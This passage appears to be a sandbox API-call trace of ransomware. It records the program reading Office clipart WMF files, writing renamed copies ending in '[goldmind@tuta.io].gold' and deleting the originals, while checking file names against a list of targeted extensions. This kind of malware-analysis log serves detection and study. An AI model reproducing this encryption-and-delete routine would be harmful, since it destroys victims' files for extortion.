dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.458] GetLastError () returned 0x0 [0049.458] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x10c8, lpOverlapped=0x0) returned 1 [0049.459] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0049.460] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.460] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.460] SetEndOfFile (hFile=0x1b0) returned 1 [0049.460] CloseHandle (hObject=0x1b0) returned 1 [0049.460] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.460] SetEndOfFile (hFile=0x178) returned 1 [0049.461] CloseHandle (hObject=0x178) returned 1 [0049.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.462] lstrlenW (lpString=".doc") returned 4 [0049.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString=".docx") returned 5 [0049.462] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.462] lstrlenW (lpString=".pdf") returned 4 [0049.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString=".xls") returned 4 [0049.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.462] lstrlenW (lpString=".xlsx") returned 5 [0049.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.462] lstrlenW (lpString=".ppt") returned 4 [0049.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.462] lstrlenW (lpString=".zip") returned 4 [0049.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.462] lstrlenW (lpString=".rar") returned 4 [0049.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString=".bz2") returned 4 [0049.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString=".7z") returned 3 [0049.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.462] lstrlenW (lpString=".dbf") returned 4 [0049.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.462] lstrlenW (lpString=".1cd") returned 4 [0049.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.462] lstrlenW (lpString=".jpg") returned 4 [0049.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.462] lstrlenW (lpString=".doc") returned 4 [0049.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString=".docx") returned 5 [0049.462] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.462] lstrlenW (lpString=".pdf") returned 4 [0049.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString=".xls") returned 4 [0049.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.462] lstrlenW (lpString=".xlsx") returned 5 [0049.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.462] lstrlenW (lpString=".ppt") returned 4 [0049.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.462] lstrlenW (lpString=".zip") returned 4 [0049.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.462] lstrlenW (lpString=".rar") returned 4 [0049.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.463] lstrlenW (lpString=".bz2") returned 4 [0049.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.463] lstrlenW (lpString=".7z") returned 3 [0049.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.463] lstrlenW (lpString=".dbf") returned 4 [0049.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.463] lstrlenW (lpString=".1cd") returned 4 [0049.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0049.463] lstrlenW (lpString=".jpg") returned 4 [0049.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.463] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.463] lstrlenW (lpString="AN04355_.WMF") returned 12 [0049.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.463] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3228) returned 1 [0049.463] CloseHandle (hObject=0x178) returned 1 [0049.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0049.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.463] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.463] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.464] GetLastError () returned 0x0 [0049.464] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xc9c, lpOverlapped=0x0) returned 1 [0049.465] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xca0, lpOverlapped=0x0) returned 1 [0049.466] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.466] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.466] SetEndOfFile (hFile=0x1b0) returned 1 [0049.466] CloseHandle (hObject=0x1b0) returned 1 [0049.466] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.466] SetEndOfFile (hFile=0x178) returned 1 [0049.467] CloseHandle (hObject=0x178) returned 1 [0049.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0049.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.467] lstrlenW (lpString=".doc") returned 4 [0049.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.467] lstrlenW (lpString=".docx") returned 5 [0049.467] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.467] lstrlenW (lpString=".pdf") returned 4 [0049.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.467] lstrlenW (lpString=".xls") returned 4 [0049.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.467] lstrlenW (lpString=".xlsx") returned 5 [0049.467] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.467] lstrlenW (lpString=".ppt") returned 4 [0049.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.467] lstrlenW (lpString=".zip") returned 4 [0049.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.467] lstrlenW (lpString=".rar") returned 4 [0049.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.467] lstrlenW (lpString=".bz2") returned 4 [0049.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.467] lstrlenW (lpString=".7z") returned 3 [0049.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.467] lstrlenW (lpString=".dbf") returned 4 [0049.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.467] lstrlenW (lpString=".1cd") returned 4 [0049.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.468] lstrlenW (lpString=".jpg") returned 4 [0049.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.468] lstrlenW (lpString=".doc") returned 4 [0049.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.468] lstrlenW (lpString=".docx") returned 5 [0049.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.468] lstrlenW (lpString=".pdf") returned 4 [0049.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.468] lstrlenW (lpString=".xls") returned 4 [0049.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.468] lstrlenW (lpString=".xlsx") returned 5 [0049.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.468] lstrlenW (lpString=".ppt") returned 4 [0049.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.468] lstrlenW (lpString=".zip") returned 4 [0049.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.468] lstrlenW (lpString=".rar") returned 4 [0049.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.468] lstrlenW (lpString=".bz2") returned 4 [0049.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.468] lstrlenW (lpString=".7z") returned 3 [0049.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.468] lstrlenW (lpString=".dbf") returned 4 [0049.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.468] lstrlenW (lpString=".1cd") returned 4 [0049.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0049.468] lstrlenW (lpString=".jpg") returned 4 [0049.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.468] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.468] lstrlenW (lpString="AN04369_.WMF") returned 12 [0049.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.469] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4808) returned 1 [0049.469] CloseHandle (hObject=0x178) returned 1 [0049.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0049.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.469] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.469] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.469] GetLastError () returned 0x0 [0049.469] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0049.470] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0049.471] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.471] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.471] SetEndOfFile (hFile=0x1b0) returned 1 [0049.471] CloseHandle (hObject=0x1b0) returned 1 [0049.471] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.471] SetEndOfFile (hFile=0x178) returned 1 [0049.472] CloseHandle (hObject=0x178) returned 1 [0049.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0049.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.472] lstrlenW (lpString=".doc") returned 4 [0049.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString=".docx") returned 5 [0049.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.473] lstrlenW (lpString=".pdf") returned 4 [0049.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString=".xls") returned 4 [0049.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.473] lstrlenW (lpString=".xlsx") returned 5 [0049.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.473] lstrlenW (lpString=".ppt") returned 4 [0049.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.473] lstrlenW (lpString=".zip") returned 4 [0049.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.473] lstrlenW (lpString=".rar") returned 4 [0049.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString=".bz2") returned 4 [0049.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString=".7z") returned 3 [0049.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.473] lstrlenW (lpString=".dbf") returned 4 [0049.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.473] lstrlenW (lpString=".1cd") returned 4 [0049.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.473] lstrlenW (lpString=".jpg") returned 4 [0049.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.473] lstrlenW (lpString=".doc") returned 4 [0049.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString=".docx") returned 5 [0049.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.473] lstrlenW (lpString=".pdf") returned 4 [0049.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString=".xls") returned 4 [0049.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.473] lstrlenW (lpString=".xlsx") returned 5 [0049.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.473] lstrlenW (lpString=".ppt") returned 4 [0049.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.473] lstrlenW (lpString=".zip") returned 4 [0049.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.473] lstrlenW (lpString=".rar") returned 4 [0049.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString=".bz2") returned 4 [0049.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.473] lstrlenW (lpString=".7z") returned 3 [0049.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.473] lstrlenW (lpString=".dbf") returned 4 [0049.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.474] lstrlenW (lpString=".1cd") returned 4 [0049.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0049.474] lstrlenW (lpString=".jpg") returned 4 [0049.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.474] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.474] lstrlenW (lpString="AN04384_.WMF") returned 12 [0049.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.474] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4996) returned 1 [0049.474] CloseHandle (hObject=0x178) returned 1 [0049.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0049.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.474] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.474] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.475] GetLastError () returned 0x0 [0049.475] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x1384, lpOverlapped=0x0) returned 1 [0049.476] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0049.477] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, 